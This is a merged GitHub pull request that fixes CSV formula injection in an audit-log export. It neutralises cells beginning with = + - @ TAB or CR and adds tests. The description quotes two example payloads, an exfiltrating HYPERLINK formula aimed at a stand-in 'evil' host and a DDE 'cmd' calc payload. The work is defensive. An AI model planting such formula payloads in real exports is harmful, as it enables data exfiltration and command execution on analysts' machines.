Skip to content

fix(audit): neutralize CSV formula injection in ExportCSV#168

Merged
xunholy merged 1 commit into
mainfrom
fix/audit-csv-formula-injection
Jun 30, 2026
Merged

fix(audit): neutralize CSV formula injection in ExportCSV#168
xunholy merged 1 commit into
mainfrom
fix/audit-csv-formula-injection

Conversation

@xunholy

@xunholy xunholy commented Jun 30, 2026

Copy link
Copy Markdown
Owner

The audit CSV export (marketed for spreadsheet import) writes attacker-controlled capture data (SSIDs, NFC URIs, evil-portal creds) verbatim. csvQuote only did RFC 4180 quoting, not formula-prefix neutralization, so a captured SSID like =HYPERLINK("http://evil/"&A1) or =cmd|'/c calc'!A1 (no comma/quote/newline -> emitted bare) executes as a formula when an analyst opens the CSV in Excel/Sheets — code exec / data exfil on their box. csvQuote now prefixes a leading = + - @ TAB CR with a single quote (standard neutralization) before field quoting. The markdown export already did this; CSV was the gap. Table + end-to-end tests, proven to fail pre-fix. task ci green; eval 17/17. Found via the internal audit sweep.

The audit log's CSV export is explicitly meant for spreadsheet import, and its
input/output columns carry attacker-controlled capture data verbatim (SSIDs,
NFC tag URIs/records, evil-portal credentials, filenames — Record stores tool
output raw). csvQuote only applied RFC 4180 quoting (quote when a cell contains
, " \n \r); it did nothing about spreadsheet formula-injection prefixes.

A cell beginning with =, +, -, @, TAB, or CR is evaluated as a formula by
Excel / LibreOffice / Google Sheets on import. An attacker who sets an SSID (or
any captured field) to e.g.

    =HYPERLINK("http://evil/"&A1)      (exfiltrates adjacent cells)
    =cmd|'/c calc'!A1                  (command execution via DDE)

lands that string in the output column. It contains no comma/quote/newline, so
RFC 4180 quoting left it bare and live: opening the exported audit CSV runs the
formula on the analyst's machine.

csvQuote now prefixes any cell whose first byte is one of = + - @ \t \r with a
single quote, the standard neutralization that makes every major spreadsheet
treat the cell as literal text, before the existing field quoting. A mid-cell
formula char and ordinary values are untouched. The markdown export already
neutralized its own metacharacters via mdEscape; CSV was the gap.

Found via the internal audit sweep.

Tests: TestCSVQuote_NeutralizesFormulaPrefixes (= + - @ TAB, plus untouched
normal/mid-cell/empty) and TestExportCSV_NeutralizesFormulaInjection
(end-to-end). Both proven to FAIL on the pre-fix code.

Verified: task ci green (lint 0 / vet / build / test:full 0 fail / govulncheck
clean); task eval 17/17.
@xunholy
xunholy merged commit 2d5b057 into main Jun 30, 2026
5 of 6 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant